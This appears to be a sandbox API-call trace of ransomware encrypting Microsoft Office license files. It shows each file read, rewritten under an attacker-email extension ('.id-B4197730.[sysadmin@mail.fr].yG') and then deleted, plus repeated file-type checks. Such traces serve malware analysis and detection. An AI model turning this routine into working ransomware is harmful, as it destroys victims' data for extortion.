	[0169.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1
	[0170.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0170.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0170.075] lstrlenW (lpString=".doc") returned 4
	[0170.075] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.075] lstrlenW (lpString=".docx") returned 5
	[0170.075] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.075] lstrlenW (lpString=".pdf") returned 4
	[0170.076] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.076] lstrlenW (lpString=".xls") returned 4
	[0170.076] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.076] lstrlenW (lpString=".xlsx") returned 5
	[0170.076] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.076] lstrlenW (lpString=".ppt") returned 4
	[0170.076] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0170.076] lstrlenW (lpString=".zip") returned 4
	[0170.076] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.076] lstrlenW (lpString=".rar") returned 4
	[0170.076] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.076] lstrlenW (lpString=".bz2") returned 4
	[0170.076] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.076] lstrlenW (lpString=".7z") returned 3
	[0170.076] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0170.076] lstrlenW (lpString=".dbf") returned 4
	[0170.076] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0170.076] lstrlenW (lpString=".1cd") returned 4
	[0170.076] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0170.076] lstrlenW (lpString=".jpg") returned 4
	[0170.076] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.077] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=26464) returned 1
	[0170.077] CloseHandle (hObject=0x48c) returned 1
	[0170.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220
	[0170.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0170.078] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.078] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.079] GetLastError () returned 0x0
	[0170.079] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x6760, lpOverlapped=0x0) returned 1
	[0170.176] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x6770, lpOverlapped=0x0) returned 1
	[0170.177] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.177] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x108, lpOverlapped=0x0) returned 1
	[0170.178] SetEndOfFile (hFile=0x51c) returned 1
	[0170.178] CloseHandle (hObject=0x51c) returned 1
	[0170.178] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.178] SetEndOfFile (hFile=0x48c) returned 1
	[0170.187] CloseHandle (hObject=0x48c) returned 1
	[0170.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 1
	[0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0170.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0170.188] lstrlenW (lpString=".doc") returned 4
	[0170.188] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.188] lstrlenW (lpString=".docx") returned 5
	[0170.188] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.189] lstrlenW (lpString=".pdf") returned 4
	[0170.189] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.189] lstrlenW (lpString=".xls") returned 4
	[0170.189] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.189] lstrlenW (lpString=".xlsx") returned 5
	[0170.189] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.189] lstrlenW (lpString=".ppt") returned 4
	[0170.189] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0170.189] lstrlenW (lpString=".zip") returned 4
	[0170.189] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.189] lstrlenW (lpString=".rar") returned 4
	[0170.189] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.189] lstrlenW (lpString=".bz2") returned 4
	[0170.189] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.189] lstrlenW (lpString=".7z") returned 3
	[0170.189] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0170.189] lstrlenW (lpString=".dbf") returned 4
	[0170.189] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0170.189] lstrlenW (lpString=".1cd") returned 4
	[0170.189] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76
	[0170.190] lstrlenW (lpString=".jpg") returned 4
	[0170.190] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.402] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11574) returned 1
	[0170.402] CloseHandle (hObject=0x350) returned 1
	[0170.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220
	[0170.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0171.083] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.083] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0171.481] GetLastError () returned 0x0
	[0171.481] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d36, lpOverlapped=0x0) returned 1
	[0171.491] WriteFile (in: hFile=0x574, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0171.493] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.494] WriteFile (in: hFile=0x574, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0171.494] SetEndOfFile (hFile=0x574) returned 1
	[0171.494] CloseHandle (hObject=0x574) returned 1
	[0171.494] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.494] SetEndOfFile (hFile=0x564) returned 1
	[0171.499] CloseHandle (hObject=0x564) returned 1
	[0171.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 1
	[0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0172.253] lstrlenW (lpString=".doc") returned 4
	[0172.253] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.253] lstrlenW (lpString=".docx") returned 5
	[0172.253] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.253] lstrlenW (lpString=".pdf") returned 4
	[0172.253] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.253] lstrlenW (lpString=".xls") returned 4
	[0172.253] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.253] lstrlenW (lpString=".xlsx") returned 5
	[0172.253] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.253] lstrlenW (lpString=".ppt") returned 4
	[0172.253] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0172.253] lstrlenW (lpString=".zip") returned 4
	[0172.253] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.253] lstrlenW (lpString=".rar") returned 4
	[0172.253] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.253] lstrlenW (lpString=".bz2") returned 4
	[0172.253] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.253] lstrlenW (lpString=".7z") returned 3
	[0172.253] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0172.254] lstrlenW (lpString=".dbf") returned 4
	[0172.254] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0172.254] lstrlenW (lpString=".1cd") returned 4
	[0172.254] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0172.254] lstrlenW (lpString=".jpg") returned 4
	[0172.254] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.254] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11576) returned 1
	[0172.254] CloseHandle (hObject=0x564) returned 1
	[0172.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 0x220
	[0172.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0172.256] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.256] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0172.258] GetLastError () returned 0x0
	[0172.258] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d38, lpOverlapped=0x0) returned 1
	[0172.276] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0172.282] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.282] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x106, lpOverlapped=0x0) returned 1
	[0172.283] SetEndOfFile (hFile=0x478) returned 1
	[0172.283] CloseHandle (hObject=0x478) returned 1
	[0172.283] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.283] SetEndOfFile (hFile=0x564) returned 1
	[0172.288] CloseHandle (hObject=0x564) returned 1
	[0172.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 1
	[0172.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0172.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0172.290] lstrlenW (lpString=".doc") returned 4
	[0172.290] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.290] lstrlenW (lpString=".docx") returned 5
	[0172.290] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.290] lstrlenW (lpString=".pdf") returned 4
	[0172.290] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.290] lstrlenW (lpString=".xls") returned 4
	[0172.290] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.290] lstrlenW (lpString=".xlsx") returned 5
	[0172.290] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.290] lstrlenW (lpString=".ppt") returned 4
	[0172.290] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0172.291] lstrlenW (lpString=".zip") returned 4
	[0172.291] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.291] lstrlenW (lpString=".rar") returned 4
	[0172.291] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.291] lstrlenW (lpString=".bz2") returned 4
	[0172.291] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.291] lstrlenW (lpString=".7z") returned 3
	[0172.291] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0172.291] lstrlenW (lpString=".dbf") returned 4
	[0172.291] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0172.291] lstrlenW (lpString=".1cd") returned 4
	[0172.291] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75
	[0172.291] lstrlenW (lpString=".jpg") returned 4
	[0172.291] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.292] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=19921) returned 1
	[0172.292] CloseHandle (hObject=0x564) returned 1
	[0172.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 0x220
	[0172.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0172.293] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.293] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0172.294] GetLastError () returned 0x0
	[0172.294] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x4dd1, lpOverlapped=0x0) returned 1
	[0172.309] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0172.319] ReadFile (in: hFile=0x564, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.319] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x106, lpOverlapped=0x0) returned 1
	[0172.319] SetEndOfFile (hFile=0x478) returned 1
	[0172.319] CloseHandle (hObject=0x478) returned 1
	[0172.320] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.320] SetEndOfFile (hFile=0x564) returned 1
	[0172.581] CloseHandle (hObject=0x564) returned 1
	[0172.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 1
	[0172.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.583] lstrlenW (lpString=".doc") returned 4
	[0172.583] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.583] lstrlenW (lpString=".docx") returned 5
	[0172.583] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.583] lstrlenW (lpString=".pdf") returned 4
	[0172.583] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.583] lstrlenW (lpString=".xls") returned 4
	[0172.583] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.583] lstrlenW (lpString=".xlsx") returned 5
	[0172.583] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.583] lstrlenW (lpString=".ppt") returned 4
	[0172.583] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75
	[0172.583] lstrlenW (lpString=".zip") returned 4
	[0172.583] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.583] lstrlenW (lpString=".rar") returned 4
	[0172.583] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.583] lstrlenW (lpString=".bz2") returned 4
	[0172.583] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.584] lstrlenW (lpString=".7z") returned 3
	[0172.584] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
